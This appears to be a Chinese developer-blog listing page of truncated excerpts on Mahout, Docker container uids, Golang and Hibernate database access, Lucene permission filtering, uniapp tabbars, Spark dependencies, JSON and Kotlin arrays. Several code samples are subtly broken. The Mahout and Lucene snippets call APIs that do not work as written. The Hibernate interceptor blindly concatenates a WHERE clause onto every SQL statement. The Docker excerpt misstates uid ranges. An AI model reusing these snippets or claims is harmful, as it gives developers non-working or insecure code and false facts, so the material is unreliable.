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Mahout
...doop大家族里的“通用语言”,特别擅长对付那种海量级的数据存储和处理任务,贼溜! java // 创建一个SequenceFile.Writer实例,用于写入数据 SequenceFile.Writer writer = SequenceFile.createWriter(conf, SequenceFile.Writer.file(new Path("output/path")), SequenceFile.Writer.keyClass(Text.class), SequenceFile.Writer.valueClass(IntWritable.class)); // 假设我们有一个键值对数据,这里以文本键和整数值为例 Text key = new Text("key1"); IntWritable value = new IntWritable(1); // 将数据写入SequenceFile writer.append(key, value); // ... 其他数据写入操作 writer.close(); 3. 迁移数据到Mahout 迁移数据到Mahout的核心步骤包括数据读取、模型训练以及模型应用。以下是一个简单的示例,展示如何将SequenceFile数据加载到Mahout中进行协同过滤推荐系统的构建: java // 加载SequenceFile数据 Path path = new Path("input/path"); SequenceFile.Reader reader = new SequenceFile.Reader(fs, path, conf); Text key = new Text(); DataModel model; try { // 创建DataModel实例,这里使用了GenericUserBasedRecommender model = new GenericDataModel(reader); } finally { reader.close(); } // 使用数据模型进行协同过滤推荐系统训练 UserSimilarity similarity = new PearsonCorrelationSimilarity(model); UserNeighborhood neighborhood = new NearestNUserNeighborhood(20, similarity, model); Recommender recommender = new GenericUserBasedRecommender(model, neighborhood, similarity); // 进行推荐操作... 4. 深度探讨与思考 数据迁移的过程并不止于简单的格式转换和加载,更重要的是在此过程中对数据的理解和洞察。在处理实际业务问题时,你得像个挑西瓜的老手那样,找准最合适的Mahout算法。比如说,假如你现在正在摆弄用户行为数据这块“瓜地”,那么协同过滤或者矩阵分解这两把“好刀”也许就是你的菜。再比如,要是你正面临分类或回归这两大“关卡”,那就该果断拿起决策树、随机森林这些“秘密武器”,甚至线性回归这位“老朋友”,它们都会是助你闯关的得力帮手。 此外,在实际操作中,我们还需关注数据的质量和完整性,确保迁移后的数据能够准确反映现实世界的问题,以便后续的机器学习模型能得出有价值的预测结果。 总之,将数据集迁移到Mahout是一个涉及数据理解、预处理、模型选择及应用的复杂过程。在这个过程中,不仅要掌握Mahout的基本操作,还要灵活运用机器学习的知识去解决实际问题。每一次数据迁移都是对数据背后故事的一次探索,愿你在Mahout的世界里,发现更多关于数据的秘密!
2023-01-22 17:10:27
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凌波微步
Docker
...们映射到宿主机上的普通用户级别,这样一来就更加安全啦。就像是让这些应用从VIP房间搬到了经济舱,虽然待遇没那么高,但是安全性却大大提升,避免惹出什么乱子来。这就引出了uid的概念——它是Unix/Linux系统中标识用户身份的重要标识符。 2. 默认uid的选择 999的秘密 那么,为什么许多Docker官方或社区制作的镜像倾向于将应用运行时的用户uid设为999呢?答案其实并不复杂: - 避免冲突:在大多数Linux发行版中,系统用户的uid从100开始分配给普通用户,因此选取大于100但又不是特别大的数字(如999),可以最大程度地减少与宿主机现有用户的uid冲突的可能性。 - 保留空间:选择一个高于常规uid范围的值,确保了不会意外覆盖宿主机上的任何重要用户账号。 - 一致性与约定俗成:随着时间推移,选用999作为非root用户的uid逐渐成为一种行业惯例和最佳实践,尤其是在创建需要低权限运行的应用程序镜像时。 3. 实践示例 自定义uid的Dockerfile 下面是一个简单的Dockerfile片段,展示如何在构建镜像时创建并使用uid为999的用户: dockerfile 首先,基于某个基础镜像 FROM ubuntu:latest 创建一个新的系统用户,指定uid为999 RUN groupadd --gid 999 appuser && \ useradd --system --uid 999 --gid appuser appuser 设置工作目录,并确保所有权归新创建的appuser所有 WORKDIR /app RUN chown -R appuser:appuser /app 以后的所有操作均以appuser身份执行 USER appuser 示例安装和运行一个应用程序 RUN npm install 假设我们要运行一个Node.js应用 CMD ["node", "index.js"] 在这个例子中,我们创建了一个名为appuser的新用户,其uid和gid都被设置为999。然后呢,咱就把容器里面的那个 /app 工作目录的所有权,给归到该用户名下啦。这样一来,应用在跑起来的时候,就能够顺利地打开、编辑和保存文件,不会因为权限问题卡壳。 4. 深入思考 uid映射与安全策略 虽然999是一个常见选项,但它并不是硬性规定。实际上,根据具体的部署环境和安全需求,你可以灵活调整uid。比如,在某些情况下,可能需要把容器里面的用户uid,对应到宿主机上的某个特定用户,这样一来,我们就能对文件系统的权限进行更精准的调控了,就像拿着钥匙开锁那样,该谁访问就给谁访问的权利。这时,可以通过Docker的--user参数或者在Dockerfile中定义用户来实现uid的精确映射。 总而言之,Docker容器中用户uid为999这一现象,体现了开发者们在追求安全、便捷和兼容性之间所做的权衡和智慧。随着我们对容器技术的领悟越来越透彻,这些原则就能被我们玩转得更加游刃有余,随时适应各种实际场景下的需求变化,就像是给不同的应用场景穿上量身定制的衣服一样。而这一切的背后,都离不开我们持续的探索、试错和优化的过程。
2023-05-11 13:05:22
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秋水共长天一色_
SeaTunnel
...日益严格,如欧盟的《通用数据保护条例》(GDPR)和我国的《个人信息保护法》,企业在进行数据传输时对安全性与稳定性的要求也随之提升。SFTP作为实现安全文件传输的重要工具,在大数据领域中的应用愈发广泛。 实际上,有研究机构报告显示,近年来由于网络环境复杂性增加,企业级SFTP服务在应对大规模、高频次的数据同步任务中,稳定性挑战尤为突出。因此,不少企业开始探索结合智能网络优化技术以及更高级别的身份验证机制来强化SFTP连接性能。 与此同时,开源社区也在积极推动相关组件的更新迭代,如近期Apache MINA项目发布了新版本,增强了其SSH2支持,间接提升了基于SSH协议的SFTP连接效率与稳定性。对于SeaTunnel等大数据处理工具而言,及时跟进这些前沿技术动态,将有助于更好地解决实际工作中遇到的SFTP对接问题,确保数据传输过程既安全又高效。 此外,深入探究数据传输环节的最佳实践,例如采用多线程并发传输、断点续传、错误重试策略等方法,也能有效提高SeaTunnel对接SFTP或其他类似服务的健壮性和可靠性。通过理论与实战相结合的方式,不断优化数据传输流程,从而适应快速变化的大数据时代需求。
2023-12-13 18:13:39
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秋水共长天一色
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...能力的冰山一角。作为通用的Aigc大模型,只是展现它原本的实力。 对于颠覆工作方式的ChatGPT,应该选择拥抱而不是抗拒,未来属于“会用”AI的人。 🧡AI职场汇报智能办公文案写作效率提升教程 🧡 专注于AI+职场+办公方向。 下图是课程的整体大纲 下图是AI职场汇报智能办公文案写作效率提升教程中用到的ai工具 🚀 优质教程分享 🚀 🎄可以学习更多的关于人工只能/Python的相关内容哦!直接点击下面颜色字体就可以跳转啦! 学习路线指引(点击解锁) 知识定位 人群定位 🧡 AI职场汇报智能办公文案写作效率提升教程 🧡 进阶级 本课程是AI+职场+办公的完美结合,通过ChatGPT文本创作,一键生成办公文案,结合AI智能写作,轻松搞定多场景文案写作。智能美化PPT,用AI为职场汇报加速。AI神器联动,十倍提升视频创作效率 💛Python量化交易实战 💛 入门级 手把手带你打造一个易扩展、更安全、效率更高的量化交易系统 🧡 Python实战微信订餐小程序 🧡 进阶级 本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。 本篇文章为转载内容。原文链接:https://blog.csdn.net/liangzijiaa/article/details/131335933。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-02-09 12:42:15
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...用户端即发起访问的普通用户,一般的访问方式是浏览器。 云漫网络自成立以来,旗下的TTCDN颠覆了以往传统CDN技术加速,又增添防御功能,让用户更加便捷安全的去访问网站,被攻击时也感受不到 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37928917/article/details/88640408。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-22 12:25:22
567
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Golang
...个用于SQL数据库的通用接口。下面是一个简单的例子: go package main import ( "database/sql" _ "github.com/go-sql-driver/mysql" // 注意这里需要导入MySQL驱动 "fmt" ) func main() { db, err := sql.Open("mysql", "user:password@tcp(127.0.0.1:3306)/dbname") if err != nil { panic(err.Error()) } defer db.Close() // 执行一个简单的查询 rows, err := db.Query("SELECT id, name FROM users") if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var id int var name string err = rows.Scan(&id, &name) if err != nil { panic(err.Error()) } fmt.Println(id, name) } } 2.2 使用ORM工具:Gorm 对于更复杂的项目,使用ORM工具如Gorm可以极大地简化数据库操作。Gorm就像是给数据库操作加了个“翻译”,让我们可以用更贴近日常说话的方式来摆弄数据库里的数据,感觉就像是在玩弄对象一样轻松。下面是如何使用Gorm的一个简单示例: go package main import ( "gorm.io/driver/mysql" "gorm.io/gorm" "log" ) type User struct { ID uint Name string } func main() { dsn := "user:password@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local" db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { log.Fatal(err) } // 创建用户 newUser := User{Name: "John Doe"} db.Create(&newUser) // 查询用户 var user User db.First(&user, newUser.ID) log.Printf("Found user: %s\n", user.Name) } 3. 性能优化技巧 在实际开发中,除了基础的数据库操作外,我们还需要考虑如何进一步优化性能。这里有几个建议: - 索引:确保你的数据库表上有适当的索引,特别是对于那些频繁查询的字段。 - 缓存:利用缓存机制(如Redis)来存储常用的数据结果,可以显著减少数据库的负载。 - 批量操作:尽量减少与数据库的交互次数,比如批量插入或更新数据。 - 异步处理:对于耗时的操作,可以考虑使用异步处理方式,避免阻塞主线程。 4. 结语 通过以上的内容,我们大致了解了如何使用Go语言进行高性能的数据库访问和操作。当然,这只是冰山一角,真正的高手之路还很长。希望能给你带来点儿灵感,让你在Go语言的路上越走越远,越走越顺!记住,编程是一场马拉松,不是短跑,保持耐心,不断学习和尝试新的东西吧! --- 希望这篇文章能帮助你更好地理解和应用Golang在数据库访问方面的最佳实践。如果你有任何问题或想法,欢迎随时交流讨论!
2024-10-21 15:42:48
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百转千回
Hibernate
...的用户,如管理员、普通用户等,他们对同一张数据表的访问权限可能大相径庭。例如,管理员可以完全操作用户表,而普通用户只能查看自己的信息。这个时候,咱们就得在Hibernate这个环节上动点小心思,搞个更精细化的权限管理,确保不会因为权限不够而整出什么操作失误啊,数据泄露之类的问题。 4. Hibernate中的权限控制实现策略 (a) 配置文件控制 首先,最基础的方式是通过配置数据库连接参数,让不同的用户角色使用不同的数据库账号登录,每个账号具有相应的权限限制。在Hibernate的hibernate.cfg.xml配置文件中,我们可以设置如下: xml admin secret (b) 动态SQL与拦截器 对于更复杂的场景,可以通过自定义拦截器或者HQL动态SQL来实现权限过滤。例如,当我们查询用户信息时,可以添加一个拦截器判断当前登录用户是否有权查看其他用户的数据: java public class AuthorizationInterceptor extends EmptyInterceptor { @Override public String onPrepareStatement(String sql) { // 获取当前登录用户ID Long currentUserId = getCurrentUserId(); return super.onPrepareStatement(sql + " WHERE user_id = " + currentUserId); } } (c) 数据库视图与存储过程 另外,还可以结合数据库自身的安全性机制,如创建只读视图或封装权限控制逻辑于存储过程中。Hibernate照样能搞定映射视图或者调用存储过程来干活儿,这样一来,我们就能在数据库这一层面对权限实现滴水不漏的管控啦。 5. 实践中的思考与挑战 尽管Hibernate提供了多种方式实现权限控制,但在实际应用中仍需谨慎对待。比如,你要是太过于依赖那个拦截器,就像是把所有鸡蛋放在一个篮子里,代码的侵入性就会蹭蹭上涨,维护起来能让你头疼到怀疑人生。而如果选择直接在数据库层面动手脚做权限控制,虽然听起来挺高效,但特别是在那些视图或者存储过程复杂得让人眼花缭乱的情况下,性能可是会大打折扣的。 因此,在设计权限控制系统时,我们需要根据系统的具体需求,结合Hibernate的功能特性以及数据库的安全机制,综合考虑并灵活运用各种策略,以达到既能保证数据安全,又能优化性能的目标。 6. 结语 总之,数据库表访问权限管理是构建健壮企业应用的关键一环,Hibernate作为 ORM 框架虽然不能直接提供全面的权限控制功能,但通过合理利用其扩展性和与数据库的良好配合,我们可以实现灵活且高效的权限控制方案。在这个历程里,理解、探索和实践就像是我们不断升级打怪的“能量饮料”,让我们一起在这场技术的大冒险中并肩前进,勇往直前。
2023-09-21 08:17:56
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夜色朦胧
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...两项菜单。 // 普通用户tabbarlet tab1 = [{"pagePath": "/pages/loginLogRecord/index","text": "登录记录","iconPath": "/static/icon_bx.png","selectedIconPath": "/static/icon_bx_hover.png"},{"pagePath": "/pages/accessRecord/index","text": "存取记录","iconPath": "/static/icon_adress.png","selectedIconPath": "/static/icon_adress_hover.png"},{"pagePath": "/pages/person/index","text": "我的","iconPath": "/static/icon_user.png","selectedIconPath": "/static/icon_user_hover.png"}]// 管理员用户tabbarlet tab2 = [{"pagePath": "/pages/loginLogRecord/index","text": "登录记录","iconPath": "/static/icon_bx.png","selectedIconPath": "/static/icon_bx_hover.png"},{"pagePath": "/pages/accessRecord/index","text": "存取记录","iconPath": "/static/icon_adress.png","selectedIconPath": "/static/icon_adress_hover.png"},{"pagePath": "/pages/authorizationList/index","text": "授权名单","iconPath": "/static/authorization.png","selectedIconPath": "/static/authorization_hover.png"},{"pagePath": "/pages/inventory/index","text": "盘点","iconPath": "/static/inventory.png","selectedIconPath": "/static/inventory_hover.png"},{"pagePath": "/pages/person/index","text": "我的","iconPath": "/static/icon_user.png","selectedIconPath": "/static/icon_user_hover.png"}]export default [tab1,tab2] 3.2 设置 page.json 在page.json文件里,把tabbar里的几个页面去重放进去。只是单纯的写个路径,什么都不要添加。test,iconPath,selectedIconPath 字段全部删掉这里不需要配置。 "tabBar": {"color": "333333","selectedColor": "328CFA","backgroundColor": "FFFFFF","list": [{"pagePath": "pages/loginLogRecord/index"},{"pagePath": "pages/accessRecord/index"},{"pagePath": "pages/authorizationList/index"},{"pagePath": "pages/inventory/index"},{"pagePath": "pages/person/index"}]} 3.3 vue 配置 uniapp是可以直接使用vuex的,所以,直接在项目的根目录下新建一个store文件夹,存储相关数据。 import Vue from 'vue'import Vuex from 'vuex'Vue.use(Vuex)import tabBar from '@/utils/tabbar.js'const store = new Vuex.Store({state: {wx_token: '',tabBarList: [],roleId: 0, //0 普通员工,1管理员},mutations: {// 设置wx_tokensetWxtoken(state, data) {state.wx_token = data;uni.setStorageSync('wx_token',data)},// 设置用户角色IDsetRoleId(state, data) {state.roleId = data;uni.setStorageSync('roleId',data)state.tabBarList = tabBar[data];uni.setStorageSync('tabBarList',tabBar[data])},},})export default store 在入口文件 main.js 中使用 import Vue from 'vue'import App from './App'import uView from "uview-ui";import store from './store/index'Vue.use(uView);Vue.config.productionTip = falseVue.prototype.$store = storeApp.mpType = 'app'const app = new Vue({...App,store})app.$mount() 3.4 tabBar组件代码 <template><view><u-tabbar :list="tabBarList" :active-color="activeColor" :inactive-color="inactiveColor" :height="84":border-top="borderTop"></u-tabbar></view></template><script>import store from '@/store'export default {props:{tabBarList:{type:Array,default:uni.getStorageSync('tabBarList')} },data() {return {borderTop: true,inactiveColor: '909399',activeColor: '328CFA',} },}</script> 3.5 setRole方法 登录时,获取返回的权限,然后再调用setRole方法 <script>import { mapMutations } from 'vuex';export default {data() {return {roleId:0,};},methods: {methods: {...mapMutations(['setRoleId']),},//登录login() {this.setRoleId(this.roleId)// 0或者1uni.switchTab({url: '../index/index' //然后跳转到登录后的首页})} }}</script> 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_36410795/article/details/109075488。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-06 15:14:00
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Apache Lucene
...(Editor)和普通用户(User)定义不同的索引访问权限。这可以通过在索引文档中添加元数据字段来实现: java Document doc = new Document(); doc.add(new StringField("content", "This is a protected document.", Field.Store.YES)); doc.add(new StringField("permissions", "Admin,Editor", Field.Store.YES)); // 添加用户权限字段 indexWriter.addDocument(doc); 四、权限验证与查询过滤 在处理查询时,我们需要检查用户的角色并根据其权限决定是否允许访问。以下是一个简单的查询处理方法: java public List search(String query, String userRole) { QueryParser parser = new QueryParser("content", analyzer); Query q = parser.parse(query); IndexSearcher searcher = new IndexSearcher(directory); Filter filter = null; if (userRole.equals("Admin")) { // 对所有用户开放 filter = Filter.ALL; } else if (userRole.equals("Editor")) { // 只允许Editor和Admin访问 filter = new TermFilter(new Term("permissions", "Editor,Admin")); } else if (userRole.equals("User")) { // 只允许User访问自己的文档 filter = new TermFilter(new Term("permissions", userRole)); } if (filter != null) { TopDocs results = searcher.search(q, Integer.MAX_VALUE, filter); return searcher.docIterator(results.scoreDocs).toList(); } else { return Collections.emptyList(); } } 五、权限控制的扩展与优化 随着用户量的增长,我们可能需要考虑更复杂的权限策略,如按时间段或特定资源的访问权限。这时,可以使用更高级的权限管理框架,如Spring Security与Lucene集成,来动态加载和管理角色和权限。 六、结论 在多用户场景下,Apache Lucene的强大检索能力与权限控制相结合,可以构建出高效且安全的数据管理系统。通过巧妙地设计索引布局,搭配上灵动的权限管理系统,再加上精准无比的查询筛选机制,我们能够保证每个用户都只能看到属于他们自己的“势力范围”内的数据,不会越雷池一步。这不仅提高了系统的安全性,也提升了用户体验。当然,实际应用中还需要根据具体需求不断调整和优化这些策略。 记住,Lucene就像一座宝库,它的潜力需要开发者们不断挖掘和适应,才能在各种复杂场景中发挥出最大的效能。
2024-03-24 10:57:10
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落叶归根-t
Go Gin
...件可以为一组路由提供通用的功能,如验证、日志记录等。例如,我们可以在所有v1组的请求中添加身份验证中间件: go authMiddleware := func(c gin.Context) { // 这里是你的身份验证逻辑 } v1.Use(authMiddleware) 七、总结与拓展 通过以上步骤,你已经掌握了如何在Go Gin中使用路由组。路由组不仅帮助我们组织代码,还使我们能够更好地复用和扩展代码。当你碰到那些需要动点脑筋的难题,比如权限控制、出错应对的时候,你就把这玩意儿往深里挖,扩展升级,让它变得更聪明更顺溜。 记住,编程就像搭积木,每一块都对应着一个功能。用Go Gin的聪明路由功能,就像给你的代码设计了个贴心的导航系统,让结构井然有序,维护起来就像跟老朋友聊天一样顺溜。祝你在Go Gin的世界里玩得开心,构建出强大的Web应用!
2024-04-12 11:12:32
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梦幻星空
Spark
...rk作为一款高性能、通用的并行计算框架,凭借其对大规模数据处理的强大支持和优异性能赢得了广泛的赞誉。在实际操作Spark的过程中,咱们可能会碰上个让人头疼的问题。啥问题呢?就是由于关键的依赖库缺失了,导致Spark这个家伙没法正常启动或者执行任务,这确实挺让人挠头的。本文将深入探讨这一问题,并通过实例代码揭示它的重要性。 1. Spark与依赖库的关系 (1) 依赖库的重要性 在Spark的工作机制中,它自身提供了一系列核心功能库,如spark-core负责基本的分布式任务调度,spark-sql实现SQL查询等。为了应对各种业务需求,Spark往往需要和其他好伙伴——第三方库一起携手工作。比如,如果你想和数据库打交道,就可能得请出JDBC驱动这位“翻译官”。再比如,当你需要进行机器学习这类高大上的任务时,MLlib或者其他的深度学习库就成了你必不可少的得力助手啦。这些“依赖库”,你就想象成是Spark引擎运行必需的“小帮手”或者说是“关键零部件”。没有它们,就好比一辆汽车缺了心脏般的重要零件,哪怕引擎再猛如虎,也只能干瞪眼没法跑起来。 (2) 依赖传递性 在构建Spark应用时,我们需要通过构建工具(如Maven、Sbt)明确指定项目的依赖关系。这里说的依赖,可不是仅仅局限在Spark自己的核心组件里,还包括咱们应用“嗷嗷待哺”的其他第三方库。这些库之间,就好比是一群互相帮忙的朋友,关系错综复杂。如果其中任何一个朋友缺席了,那整个团队的工作可能就要乱套,咱们的应用也就没法正常运转啦。 2. 缺少依赖库引发的问题实例 假设我们要用Spark读取MySQL数据库中的数据,首先需要引入JDBC驱动依赖: scala // 在build.sbt文件中添加依赖 libraryDependencies += "mysql" % "mysql-connector-java" % "8.0.23" // 或在pom.xml文件中添加依赖 mysql mysql-connector-java 8.0.23 然后在代码中尝试连接MySQL: scala import org.apache.spark.sql.SparkSession val spark = SparkSession.builder.appName("mysqlExample").getOrCreate() val jdbcDF = spark.read.format("jdbc") .option("url", "jdbc:mysql://localhost:3306/mydatabase") .option("driver", "com.mysql.jdbc.Driver") .option("dbtable", "mytable") .load() jdbcDF.show() 如果此时没有正确引入并配置MySQL JDBC驱动,上述代码在运行时就会抛出类似于NoClassDefFoundError: com/mysql/jdbc/Driver的异常,表明Spark找不到相应的类定义,这就是典型的因缺少依赖库而导致的运行错误。 3. 如何避免和解决依赖库缺失问题 (1) 全面且精确地声明依赖 在项目初始化阶段,务必详细列出所有必需的依赖库及其版本信息,确保它们能在构建过程中被正确下载和打包。 (2) 利用构建工具管理依赖 利用Maven、Gradle或Sbt等构建工具,可以自动解析和管理项目依赖关系,减少手动管理带来的疏漏。 (3) 检查和更新依赖 定期检查和更新项目依赖库,以适应新版本API的变化以及修复潜在的安全漏洞。 (4) 理解依赖传递性 深入理解各个库之间的依赖关系,防止因间接依赖导致的问题。当遇到问题时,可通过查看构建日志或使用mvn dependency:tree命令来排查依赖树结构。 总结来说,依赖库对于Spark这类复杂的应用框架而言至关重要。只有妥善管理和维护好这些“零部件”,才能保证Spark引擎稳定高效地运转。所以,开发者们在尽情享受Spark带来的各种便捷时,也千万不能忽视对依赖库的管理和配置这项重要任务。只有这样,咱们的大数据探索之路才能走得更顺溜,一路绿灯,畅通无阻。
2023-04-22 20:19:25
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灵动之光
NodeJS
...aLoader是一个通用库,常用于优化GraphQL服务端的数据加载效率。尽管在原文中并未直接提及DataLoader,但在实践中,它经常与Node.js和GraphQL结合使用,特别是在处理批量数据加载场景时。DataLoader通过批量执行相同类型的操作并在内部缓存结果,避免了N+1查询问题,极大地提升了数据获取速度和服务器性能。 express-graphql , 这是一个Node.js中间件,用于将GraphQL服务集成到基于Express框架构建的应用程序中。在文章示例代码中,express-graphql库被用来创建一个简单的GraphQL HTTP服务器,使得客户端可以通过HTTP协议向服务器发起GraphQL查询请求,并接收结构化的JSON响应结果。 JWT(JSON Web Tokens) , 虽然在文章中JWT仅作为权限控制的一种潜在解决方案被简要提到,但它在现代Web应用的安全认证方面扮演着重要角色。JWT是一种开放标准(RFC 7519),用于安全地在各方之间传输声明。在GraphQL API中结合JWT,可以在resolver执行前验证请求的权限,确保只有经过身份验证和授权的用户才能访问特定数据。
2024-02-08 11:34:34
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落叶归根
ZooKeeper
...,既体现了其作为一个通用分布式协调框架的价值,又展示了其实现复杂分布式任务的能力。利用ZooKeeper那个相当聪明的数据模型和监听功能,咱们完全可以捣鼓出一个既能让业务跑得溜溜的,又能稳如磐石、始终保持高可用性的分布式系统架构。就像是用乐高积木搭建一座既美观又结实的大厦一样,我们借助ZooKeeper这块宝,来创建咱所需要的高性能系统。所以,在我们实实在在做开发的时候,要是能摸透并熟练运用ZooKeeper这家伙的节点负载均衡策略,那可是对提升我们系统的整体表现力有着大大的好处,这一点儿毋庸置疑。
2024-01-21 23:46:49
122
秋水共长天一色
JSON
...库。JSON格式因其通用性,成为理想的数据传输媒介。以下是一个典型的网站导入JSON数据的例子: javascript // 假设我们从某个API获取到了上述JSON数据 fetch('https://example.com/api/users') .then(response => response.json()) .then(data => { // 解析并处理JSON数据 const users = data.users; users.forEach(user => { console.log(User ID: ${user.id}, Name: ${user.name}); // 这里可以将用户数据插入到网站DOM或其他存储中 }); }) .catch(error => console.error('Error fetching data:', error)); 在这段代码中,我们通过fetch函数请求一个返回JSON数据的API,然后利用.json()方法将其转化为JavaScript对象,进而进行数据处理和展示。这便是JSON在网站数据导入中的核心应用。 3. JSON的应用深度探讨 - 数据交互:JSON不仅适用于前后端数据交换,也常用于客户端和服务端之间、甚至不同系统之间的数据传递。它减少了数据转换的成本,简化了开发流程。 - 兼容性:由于JSON是基于JavaScript的对象字面量,因此在浏览器环境中可以直接转化为JavaScript对象,无需额外的库或工具支持。 - 灵活性:JSON结构灵活多变,可以表示复杂的嵌套数据结构,适应各种业务场景的需求。 - 性能优化:相对于XML等其他数据格式,JSON的体积更小,解析速度更快,有利于提升网站性能。 4. 结语 拥抱JSON,让数据流动更自由 随着Web技术的发展,JSON已经深入到我们日常开发的方方面面。它如同一条无形的信息高速公路,承载着网站间、系统间的数据流通。作为开发者,咱们得把JSON的使用窍门玩得贼溜,可别浪费了它的那些个优点。把它用得风生水起,让它在咱们的项目里发光发热,发挥出最大的价值,这才是正经事!当我们面对网站数据导入这样的需求时,不妨试着借助JSON的力量,你会发现,数据的搬运原来可以如此轻松自如,充满了无限可能!
2023-10-11 22:09:42
754
林中小径
Hadoop
...大规模数据集的快速、通用且可扩展的计算引擎。相较于Hadoop MapReduce,Spark基于内存计算,可以显著提高迭代工作负载的速度,并支持SQL查询、流处理、图形计算以及机器学习等多种计算范式。在需要实时或近实时处理以及复杂分析任务的场景下,Spark常被作为更高效的选择来替代或补充Hadoop。
2023-04-18 09:23:00
468
秋水共长天一色
RabbitMQ
...多种协议,提供了一种通用的消息传递平台。你知道吗,咱们可以像变魔术那样,把HTTP和gRPC这两个家伙灵活搭配起来,这样就能构建出一个超级灵动、随时能扩展的分布式系统,就跟你搭积木一样,想怎么拼就怎么拼,特别给力!当然啦,实际情况是会根据咱们项目的需求和手头现有的技术工具箱灵活调整具体实现方式,不过无论咋整,RabbitMQ都像是个超级靠谱的邮差,让各个服务之间的交流变得贼顺畅。
2024-02-23 11:44:00
92
笑傲江湖-t
Nginx
...; 可以包含一些通用的代理设置,如proxy_set_header等 } } 这个配置的核心在于location指令,它帮助Nginx根据URL路径匹配不同的处理规则。嘿,你知道吗?现在前端那些静态资源啊,比如图片、CSS样式表什么的,都不再从网络上请求了,直接从咱本地电脑的文件系统里调用,超级快!而只要是请求地址以"/api"打头的,就更有趣了,它们会像接力赛一样被巧妙地传递到后端服务器那边去处理。这样既省时又高效,是不是很酷嘞? 5. Docker环境下的实践思考 在Docker环境中,我们还需要确保Nginx服务能正确地发现后端服务。这通常就像是在Docker Compose或者Kubernetes这些牛哄哄的编排工具里“捯饬”一下,让网络配置变得合理起来。比如,咱们可以先把Nginx和后端服务放在同一个“小区”(也就是网络环境)里,然后告诉Nginx:“嘿,老兄,你只需要通过那个叫做backend的门牌号,就能轻松找到你的后端小伙伴啦!”这样的操作,就实现了Nginx对后端服务的访问。 6. 结语 通过以上讨论,我们已成功揭示了在Nginx+Docker部署前后端分离项目中访问空白问题的本质,并给出了解决方案。其实,每一次操作就像是亲手搭建一座小桥,把客户端和服务器两端的信息通道给连通起来,让它们能够顺畅地“对话”。只有当我们把每个环节都搞得明明白白,像那些身经百战的建筑大师一样洞若观火,才能顺顺利利解决各种部署上的“拦路虎”,确保用户享受到既稳定又高效的线上服务体验。所以,无论啥时候在哪个地儿,碰见技术难题了,咱们都得揣着那股子热乎劲儿和胆量去积极探寻解决之道。为啥呢?因为解决问题这档子事啊,其实就是咱自我成长的一个过程嘛!
2023-07-29 10:16:00
55
时光倒流_
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...ySQL的错误日志、通用查询日志和慢查询日志,可有效监控潜在的安全威胁和性能瓶颈。 此外,针对Linux系统下MySQL的资源管理与高可用性设置,可以参考《MySQL High Availability》一书,作者Jay Janssen和Baron Schwartz从实战角度详细解读了如何运用复制、集群及容灾技术实现MySQL服务的高可用和故障切换。 综上所述,MySQL的持续学习和最佳实践探索是每一位数据库管理员的重要任务,时刻关注官方更新动态、加强安全意识,并深入了解高级配置技巧,才能让Linux环境下运行的MySQL发挥出最大效能,为企业业务稳定高效运转提供坚实基础。
2023-05-24 19:00:46
118
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... Array () 通用数组 Array(size: Int, init: (Int) -> T) val array: Array<Int> = Array(5) { i -> i 2 } 5是数组长度,i是索引值,元素赋值为索引值2 原生数组 IntArray (长度) Array (长度) val ys1 = IntArray(5) //元素都是0 val ys2 = BooleanArray(5) //元素都是false val ys3 = CharArray(5) //元素都是空格 arrayOfXXX () 指定元素(元素可为任意类型) arrayOf () val array1: Array<Any> = arrayOf(1, '你', "hahaah", false) for (element: Any in array1) print(element) val array2: Array<Int> = arrayOf(1, 2, 3) val array3: Array<Person> = arrayOf(person1, person2) 指定长度(元素都为null) arrayOfNulls () val arrayNull: Array<String> = arrayOfNulls<String>(6) 空数组 emptyArray () val empty: Array<String> = emptyArray<String>() 原生数组(避免拆装箱开销) intArrayOf () ArrayOf () val array3: IntArray = intArrayOf(1, 3, 5, 7) val array4: CharArray = charArrayOf('a', 'b', 'c') 原生数组 & 通用数组 为了避免不必要的拆装箱开销,或者与Java互操作,可以使用原生类型数组。这些类与Array没有继承关系,只是有相同的方法属性,因此 IntArray 和 Array<Int> 是完全不同的类型,但两者可以互转。 原生类型数组 对应Java中的基本数据类型数组 IntArray Array int [ ] [ ] 方法 说明 举例 toIntArray () toArray () 通用→原生 val ty: Array<Int> = arrayOf(1, 2, 3) val toIntArray: IntArray = ty.toIntArray() toTypedArray () 原生→通用 val ys: IntArray = intArrayOf(1, 2, 3) val toTypedArray: Array<Int> = ys.toTypedArray() Person[] people = {new Person(), new Person()}; //Javaval people: Array<Person> = arrayOf(Person(), Person()) //Kotlin 遍历 val arr = arrayOf(1,2,3,4,5)//通过forEach循环arr.forEach{println(it)}//通过iterator循环var iterable:Iterator<Integer> = arr.iterator();while(iterable.hasNext()){println(iterable.next())}for(element in arr.iterator()){println(element)}//for循环一for(element in arr){println(element)}//for循环二for(index in 0..arr.size-1){println(arr[index])}//for循环三for(index in arr.indices){println(arr[index])}//for循环四for((index, value) in arr.withIndex()){println("$index位置的元素是:$value")}// 上面写法等价于下面写法for (element in arr.withIndex()) {println("${element.index} : ${element.value}")} 操作 方法 说明 .size .indices 数组长度 数组最大索引值 get (索引) 获取元素,推荐使用操作符 [ ] arr[3] 等同于 arr.get(3) set (索引,目标值) 给元素赋值,推荐使用操作符 [ ] arr[3] = "哈" 等同于 arr.set(3,"哈") plus (目标值) 增加:返回一个数组长度+1并用目标值赋值新元素的新数组,不对原数组进行改动 